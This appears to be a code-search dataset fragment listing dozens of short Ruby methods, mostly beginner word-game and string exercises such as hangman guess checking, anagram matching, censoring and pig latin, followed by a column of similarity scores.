"def meaning(message)\n WORDS_MEANS_ACTION.find {|words, action| words.match(Regexp.new(message))} || []\n end",
"def secret_word_guessed?\n\t\t@secret_word.split(\"\").all? { |letter| @guessed_letters.include?(letter) }\n\tend",
"def stuff(input)\n\twords = input.split(\" \")\n\n\twords.each do |x| \n\t\tif x == 'the' || x == 'of' || x == 'and' || x == 'is' || x == 'a'\n\t\t\telse\n\t\t\t\t@acronym << x.to_s.chars.first.upcase + \".\"\n\t\tend\n\tend\nend",
"def yell_happily(words)\r\n words + \"!!!\" + \" :)\"\r\n end",
"def phrase(str)\n puts \"#{str}..Only in America!\"\nend",
"def check_guess(guess, secret_word)\n matches = []\n secret_characters = secret_word.split(//)\n\n # loop to find matches & wrong letters\n if secret_characters.include? guess\n secret_characters.each_with_index do |char, index|\n if char.include? guess\n @secret_display[index] = char\n end\n end\n else\n @wrong_guesses << guess\n @guess_count -= 1\n end\n end",
"def check_phrase guess\r\n\t\t\t\t\t\t\t\tif guess == @secretword\r\n\t\t\t\t\t\t\t\t\tincement_score\r\n\t\t\t\t\t\t\t\t\t@win = true\r\n\t\t\t\t\t\t\t\t\treturn true\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\treturn false\r\n\t\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\tend",
"def matching_the_word_and\n /WRITE ME/\n end",
"def words\n @phrase.split(/[^A-Za-z0-9']+/)\n end",
"def check_for_matches(input)\n @matched = false\n secret_word_array = @secret_word.split(\"\")\n\n secret_word_array.each_with_index do |char, idx|\n if char == input || char == input.upcase\n @matched_letters.insert(idx, char).slice!(idx+1)\n @matched = true\n end\n end\n\n if !@matched\n @guesses_left -= 1\n @misses += \", \" unless @misses == \"\"\n @misses += input\n end\n end",
"def censor(sentence, curse_words)\n words = sentence.split(\" \")\n\n asterisked_words = words.map do |word|\n if curse_words.include?(word.downcase)\n asterisked_word(word)\n else\n word\n end\n end\n\n asterisked_words.join(\" \")\nend",
"def alternate_words(sentence)\n # Creates new method that takes one argument\n # \"sentence\".\n\n to_return = []\n # Creates new variable and assigns it an\n # empty array.\n\n sentence.scan(/[\\w'’]+/).each.with_index {|x, i| to_return << x if i.even?}\n # (1) sentence.scan(/[\\w'’]+/) creates an array of words\n # => can't we all get along? => [\"can't\", \"we\", \"all\", \"get\", \"along\"]\n\n # (2) the (/[\\w'’]+/) is searching the string to match words\n # that include one or more of:\n # (a) a word character;\n # (b) a word character followed by a straight quote; or\n # (c) a word character followed by a curly quote.\n\n to_return\n\nend",
"def yell_happily(words)\r\n words + \"!!!\" + \" :)\"\r\n end",
"def wookiee_sentence; end",
"def dictator_Iraq\n puts \"Saddam formally rose to power in 1979, although he had been the de facto head\n of Iraq for several years prior. Within his own country, he suppressed\n his own citizens, particularly the Shi'a and Kurdish people. He also maintained\n power during the Iran–Iraq War and the Gulf War, and was accused of using\n chemical weapons. To alleviate the threat of revolution, Saddam afforded\n certain benefits to the potentially hostile population. Membership in the\n Ba'ath Party remained open to all Iraqi citizens regardless of background.\n However, repressive measures were taken against its opponents. The major\n instruments for accomplishing this control were the paramilitary and police\n organizations. Saddam was notable for using terror against his own people.\n Saddam's regime was responsible for the deaths of at least 250,000\n Iraqis and committed war crimes in Iran, Kuwait, and Saudi Arabia. Human\n Rights Watch and Amnesty International issued regular reports of widespread\n imprisonment and torture.\"\n\n crazy_acts\n\nend",
"def _search_text\n [_concatenated_brand,\n _concatenated_description,\n _concatenated_sell_unit,\n classic_mbid\n ].compact.map { |w| w.hanize.split(' ') }.flatten.uniq.reject { |w| w.size < 3 || self.class.stop_words.include?(w) }.join(' ')\nend",
"def check_guess guess\r\n\t\t\t\t @resultb.push(guess)\r\n\t\t\t\t phrase = @secretword.chars\r\n\t\t\t\t i = 0\r\n\t\t\t\t @num_guessed = 0\r\n\t\t\t\t while i < phrase.length do\r\n\t\t\t\t\t\t\t\tif phrase[i] == guess\r\n\t\t\t\t\t\t\t\t @resulta[i] = guess\r\n\t\t\t\t\t\t\t\t @num_guessed += 1\r\n\t\t\t\t\t\t\t\tend\r\n\t\t\t\t\t\t\t\ti += 1\r\n\t\t\t\t end\r\n\t\t\t\t\t\t\t\tif @num_guessed > 0\r\n\t\t\t\t\t\t\t\t@score += (@reward.to_i * @num_guessed)\r\n\t\t\t\t\t\t\t else\r\n\t\t\t\t\t\t\t incrementturn\r\n\t\t\t\t\t\t\t\tend\r\n\t\t end",
"def autocorrect(input)\n input.gsub(/\\b(you+|u)\\b/, 'your sister')\nend",
"def scan_message(message)\n out = []\n out << 'recall_hold' if message =~ /Recall/i\n out << 'recall_hold' if message =~ /hold /\n out << 'borrow_direct' if message =~ /Borrow/\n out << 'ill' if message =~ /ILL/\n out << 'in_process' if message =~ /In Process/\n # ReCAP Partners\n out << 'offsite_valet' if message =~ /scsb/\n out\n end",
"def test_mixed_pronouns\n assert_equal(\"you gave me life\",\n WordPlay.switch_pronouns(\"i gave you life\"))\n\n assert_equal(\"i am not what you are\",\n WordPlay.switch_pronouns(\"you are not what i am\"))\n end",
"def match(array_possible_anagrams)\n matching_words=[]\n word_broken=self.word.split(\"\").sort\n array_possible_anagrams.each do |possible_match|\n #possible_match=possible.word\n possible_match_broken=possible_match.split(\"\").sort\n if possible_match_broken == word_broken\n matching_words << possible_match\n else\n end #end of if\n end #end of do\n matching_words\n end",
"def initialize(word)\n @word = word.downcase\n @guesses = ''\n @wrong_guesses = ''\n @word_with_guesses = \" \"\n for i in 0...@word.length\n @word_with_guesses[i] = \"-\"\n end\n @check_win_or_lose = :play\n\n end",
"def a_turn_of_phrase(sentence)\n # code goes here\nend",
"def says\n\t\tself.current_state.sayings.map do |phrase|\n\t\t\tif phrase.is_a?(String) \n\t\t\t\tphrase.match(/^ivr/) ? I18n.t(phrase) : phrase\n\t\t\telsif phrase.is_a?(Symbol)\n\t\t\t\tself.send(phrase)\n\t\t\tend\n\t\tend.flatten || []\n\tend",
"def talk(words)\n puts \"I say #{words}\"\n end",
"def query_wo_exact_phrases(txt)\n self.query_without_exact_phrases ||= txt.gsub(Awesome::Definitions::Stopwords::QUOTED_REGEX, '')\n end",
"def select_word\r\n\t\t@answer = @words[rand(27)]\r\n\r\n\r\n\t\t# this would be a list of hashes\r\n\t\t@question = \"\"\r\n \t@tempque=\"\"\r\n\t\tfor x in 0..@answer.length\r\n\r\n\t\t\t@question=@question+\"#\"\r\n \t\t@tempque=@tempque+\"#\"\r\n\t\tend\r\n\t\treturn @answer\r\n\r\n\tend",
"def CompareWords(codeWord, guess, contains, hit, used)\n array = Array.new\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n (0..4).each do |i| # Iterates through 5 times, once for each letter of the words\n if (guess[i] == codeWord[i]) # Checks if the string in guess \n array[i] = \" Hit\"\n hit[i] = guess[i]\n if(contains.include?(guess[i]) == false)\n contains[' '] = guess[i]\n end\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n elsif (codeWord.include?(guess[i])) # Checks if \"codeWord\" includes the letter\n array[i] = \"Near\"\n if(contains.include?(guess[i]) == false)\n contains[' '] = guess[i]\n end\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n else\n array[i] = \"Miss\"\n if(used.include?(guess[i]) == false)\n index = letters.index(guess[i])\n used[index] = guess[i]\n end\n end\n end\n return array, contains, hit, used # Returns an array contains 5 values of \" Hit\", \"Near\", \"Miss\" or any combination of the three\nend",
"def initialize word \n @word = word\n @guesses = ''\n @wrong_guesses = ''\n end",
"def play_rules_orig\n <<~'HOWTOPLAY'\n The word to guess is represented by a row of dashes,\n representing each letter of the word.\n In most variants, proper nouns, such as names, places, and brands,\n are not allowed.\n Slang words, sometimes referred to as informal or shortened words,\n are also not allowed.\n If the guessing player suggests a letter which occurs in the word,\n the other player writes it in all its correct positions.\n If the suggested letter does not occur in the word,\n the other player draws one element of a hanged man stick figure\n as a tally mark.\n\n The player guessing the word may, at any time, attempt to guess\n the whole word.\n If the word is correct, the game is over and the guesser wins.\n Otherwise, the other player may choose to penalize the guesser by\n adding an element to the diagram.\n On the other hand, if the other player makes enough incorrect guesses\n to allow his opponent to complete the diagram, the game is also over,\n this time with the guesser losing.\n However, the guesser can also win by guessing all the letters that\n appear in the word, thereby completing the word, before the diagram\n is completed.\n HOWTOPLAY\n end",
"def take_bath\n self.hygiene += 4\n return \"♪ Rub-a-dub just relaxing in the tub ♫\"\n @hygiene\n end",
"def phrase(arg)\n\tputs arg + \"only in America.\"\nend",
"def display\n\t\tsecret_word_display = []\n\t\t@secret_word.split(\"\").each do |char|\n\t\t\tif @guessed_letters.include?(char)\n\t\t\t\tsecret_word_display << char\n\t\t\telse\n\t\t\t\tsecret_word_display << \"_\"\n\t\t\tend\n\t\tend\n\t\tputs \"Secret word: #{secret_word_display.join(\" \")}\"\n\tend",
"def autocorrect(input)\n input.gsub(/(\\byou+\\b|\\bu\\b)/i, 'your sister')\nend",
"def whisper_words(words)\n\nend",
"def prepare_phrases\n text_array, prepared = @text.split, []\n 3.times do |time|\n prepared << random_phrase(text_array)\n end\n prepared\n end",
"def verify( *suspect_words )\n suspect_words.flatten.sort == @banned_words\n end",
"def hashtagify(sentence, words)\r\n\r\nend",
"def words\n @phrase = @phrase.split(' ')\n end",
"def match_letters #handle_guess\n\t\tindexes_matched = @word_array.each_index.select { |i| @word_array[i] == @guess}\n\n\t\tfor x in indexes_matched do\n\t\t\t@result_array[x] = guess\n\t\tend\n\n\t\tputs @result_array\n\tend",
"def match_letters #handle_guess\n\t\tindexes_matched = @word_array.each_index.select { |i| @word_array[i] == @guess}\n\n\t\tfor x in indexes_matched do\n\t\t\t@result_array[x] = guess\n\t\tend\n\n\t\tputs @result_array\n\tend",
"def winning_phrase(c_array)\n if c_array.include?('Paper') && c_array.include?('Rock')\n phrase = \"Paper wraps Rock!\"\n elsif c_array.include?('Paper') && c_array.include?('Scissors')\n phrase = \"Scissors cuts Paper!\"\n else phrase = \"Rock crushes Scissors!\"\n end\nend",
"def words_to_skip_capitalization_of\n\t\t[ \n\t\t'of','a','the','and','an','or','nor','but','if','then','else','when','up','at','from','by','on',\n\t\t'off','for','in','out','over','to'\n\t\t]\n\tend",
"def speak_to_grandma(input_phrase)\n if input_phrase == \"I LOVE YOU GRANDMA!\"\n \"I LOVE YOU TOO PUMPKIN!\"\n elsif input_phrase!=input_phrase.upcase && input_phrase!=\"I LOVE YOU GRANDMA!\"\n \"HUH?! SPEAK UP, SONNY!\"\n else input_phrase!=input_phrase.upcase \n \"NO, NOT SINCE 1938!\"\n end\nend",
"def match(anagram_array)\n anagram_array.select do |word|\n if @word.split(//).sort == word.split(//).sort \n @@words << word \n end\n end \n end",
"def whisper_words(words)\n\treturn words.map {|word| word.downcase + \"...\"}\nend",
"def words\n @words_array = @phrase.split(' ')\n end",
"def word_with_guesses\n guesses_list = @guesses.to_s\n guesses_rx = /[^ #{guesses_list}]/\n @masked = @word.gsub(guesses_rx, \"-\")\n @masked.scan(/[a-z\\-]/).join\n end",
"def get_adjective\n\t\t[\"pretty\", \"ugly\", \"hideous\"].sample\n\tend",
"def my_extra_words\n ['extra', 'words', 'here', 'too']\n end",
"def matches_specs(text)\n text = text.downcase\n matches = false\n\n # some of Terri's terms were redundant so I removed them\n matches = true if text =~ /\\bsid|pakistan[.]* rendition|apartheid|apart[.]* regime|apart[.]* state|palestin[.]*/\n matches = true if text =~ /israel/ and text =~ /human rights violations/\n\n matches\nend",
"def match(test_words)\n test_words.select { |test_word| anagram_word?(test_word) unless test_word.downcase == @word }\n end",
"def word\n options = []\n case @theme\n when \"default\"\n options = [\"cast\", \"puppy\", \"pineapple\", \"bananas\"]\n @word_to_guess = options.sample\n when \"food\"\n options = [\"mango\", \"papaya\", \"guava\", \"apples\", \"lychee\"]\n @word_to_guess = options.sample\n when \"hacker\"\n options = [\"bandwidth\", \"synthesize\", \"bypass\", \"cyberpunk\", \"firewall\"]\n @word_to_guess = options.sample\n when \"game of thrones\"\n options = [\"stark\", \"lannister\", \"arya\", \"hodor\", \"meereen\"]\n @word_to_guess = options.sample\n when \"lord of the rings\"\n options = [\"lothorien\", \"galadriel\", \"frodo\", \"bombadil\", \"goldberry\"]\n @word_to_guess = options.sample\n end\n end",
"def test_ask_spaces_returns_answer\n magic_ball = Predictor.new\n assert_includes Predictor::ANSWERS, magic_ball.ask(\"Meow meow meow meow meow?\")\n end",
"def funny_responses\n [\n 'Huh?',\n \"What's that you say?\",\n 'come again?',\n \"Sorry, I don't know that command.\"\n ]\n end",
"def pirate_speech(sentence)\n sentence.gsub('Hello', 'Ahoy').\n gsub('hello', 'ahoy').\n gsub('Friend', 'Matey').\n gsub('friend','matey').\n gsub('Yes', 'Aye').\n gsub('yes', 'aye') + \" Arrrrr\"\nend",
"def whisper_words(words)\nreturn words.map{ |elem| elem.downcase + \"...\"}\nend",
"def pig_it(text)\n text.gsub(/\\b([a-z0-9]?)([a-z0-9]+)\\b/i, '\\2\\1ay')\n # text.gsub(/\\b([a-z0-9])([a-z0-9]+)*\\b/i, '\\2\\1ay')\n # text.gsub(/([a-z0-9])([a-z0-9]+)*/i, '\\2\\1ay')\nend",
"def match(array_of_words)\n matches = [] #Flag\n anagram_execute = anagram.split(//)\n anagram_execute = anagram_execute.sort!\n array_of_words.each do |possible_match|\n array_of_letters = possible_match.split(//)\n array_of_letters = array_of_letters.sort!\n matches << possible_match if array_of_letters == anagram_execute\n #use truncated, cleaner if statement\n end\n matches #return the matches array\n end",
"def input_evaluation(guess, correct_word)\n if correct_word.word.include?(guess)\n # We learned that .each_with_index can be used to locate each letter corresponding with each spacific index\n # Then if the letter matches it will subsitue the \"_\", at the correct index, with the corresponding letter\n correct_word.word.each_with_index do |letter, index|\n if letter == guess\n correct_word.progress[index] = guess\n end\n end\n else\n # Storing wrong letters into an array and updating max_guesses\n correct_word.wrong_guesses << guess\n correct_word.max_guesses -= 3\n end\nend",
"def pick_catchphrase\n return File.readlines(File.dirname(__FILE__) + \"/static/catchphrases.txt\").sample.tr(\"\\n\",\"\")\nend",
"def number_of_awards(text)\n result = 0\n @awards.each do |a|\n if text.downcase.include?(a)\n result += 1\n end\n end\n return result\nend",
"def word_status\n\t\t@ans_word.length.times do\n\t\t\t@guess << \"_\"\n\t\tend\n\t\tputs \"Guesser, your secret word has #{@ans_word.length} characters: #{@guess*\"\"}\"\n\tend",
"def check(words:)\n dictionary = Set.new([\"hello\", \"my\", \"name\", \"is\", \"orange\"])\n corrected = []\n words.each do | word |\n dictionary.include?(word) ? corrected.push(word) : corrected.push(\"~#{word}~\")\n end\n corrected\nend",
"def whisper_words(words)\r\n return words.map { |ele| ele.downcase + \"...\" }\r\nend",
"def speak\n @arr = 'Shiber Me Timbers You Scurvey Dogs!!'\n @speak_a.push(\"@what\", \"@arr\")\n @speak = speak.a.join(/\\n /)\n end",
"def autocomplete(input, dictionary)\n results = []\n sanitized_input = input.gsub(/[^A-Za-z]/, '')\n\n dictionary.each do |word|\n break if results.length >= 5\n next unless word.downcase.start_with?(sanitized_input)\n results << word\n end\n results\nend",
"def translator(phrase)\r\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\r\n idx = 0\r\n translation = \"\"\r\n while idx < phrase.length\r\n if alpha.index(phrase[idx].downcase) == nil\r\n translation += \" boing\"\r\n elsif alpha.index(phrase[idx].downcase) < alpha.length / 2 && /[[:upper:]]/ =~ phrase[idx]\r\n translation += \" bloop\"\r\n elsif phrase[idx] == \"e\" || /[[:upper:]]/ =~ phrase[idx]\r\n translation += \" buzz\"\r\n else\r\n translation += \" beep\"\r\n end\r\n idx += 1\r\n end\r\n return translation\r\nend",
"def danish(text)\n p text.sub(/\\b(apple|cherry|blueberry)\\b/, 'danish')\nend",
"def test_get_words_many_spaces\n #assert false # bogus assert -- remove or comment out\n assert(@concordance.get_words(\" seven seventy seven \").length==4,\"Number of words returned wrong\")\n assert(@concordance.get_words(\" seven seventy seven \").include?(\"seven\"),\"Does not include all the words\")\n assert(@concordance.get_words(\" seven seventy seven \").include?(\"seventy\"),\"Does\nnot include all the words\")\n\n end",
"def take_turn(pattern)\n\t\tpossible_words = expressions(pattern).map do |e|\n\t\t\tRegexp.new(\"^#{e}$\")\n\t\tend.map do |e|\n\t\t\tpossible_words(e, @letters)\n\t\tend\n\n\t\tguess = (best_letters(possible_words.flatten.uniq) & @letters).first\n\n\t\t@played_letters += [guess]\n\t\t@letters -= [guess]\n\t\tguess\n\tend"
] |
[
"0.6236725",
"0.61731637",
"0.61398286",
"0.61398286",
"0.61348146",
"0.60834837",
"0.601706",
"0.59630066",
"0.5957516",
"0.5943533",
"0.5893468",
"0.584299",
"0.5812375",
"0.58034575",
"0.5792273",
"0.569639",
"0.56946933",
"0.567049",
"0.56658375",
"0.5661026",
"0.5653179",
"0.56425416",
"0.56219786",
"0.5610445",
"0.5596957",
"0.558471",
"0.5577251",
"0.55625683",
"0.55593896",
"0.5555731",
"0.5528953",
"0.5497212",
"0.5478369",
"0.54749364",
"0.54605377",
"0.54589206",
"0.54528433",
"0.5446726",
"0.5443224",
"0.54427934",
"0.5435352",
"0.54320216",
"0.54298115",
"0.5418832",
"0.54114217",
"0.5396482",
"0.5392156",
"0.53835243",
"0.5376025",
"0.53637123",
"0.5360528",
"0.5358701",
"0.5356874",
"0.5356808",
"0.53557354",
"0.5353725",
"0.535137",
"0.53511065",
"0.53510773",
"0.534974",
"0.53402144",
"0.53357846",
"0.53335524",
"0.5333054",
"0.5331896",
"0.53245187",
"0.5317851",
"0.5306972",
"0.53068805",
"0.53068805",
"0.5305502",
"0.5304443",
"0.5300656",
"0.52990687",
"0.5290394",
"0.5288335",
"0.5283611",
"0.5283409",
"0.5282578",
"0.52791274",
"0.52785695",
"0.52781063",
"0.5276524",
"0.527182",
"0.52695763",
"0.5267703",
"0.52676344",
"0.52628446",
"0.5262438",
"0.525179",
"0.52515197",
"0.525024",
"0.52497154",
"0.5249516",
"0.52484363",
"0.52454925",
"0.5236531",
"0.5232224",
"0.5231379",
"0.52265155"
] |
0.6029704
|
6
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.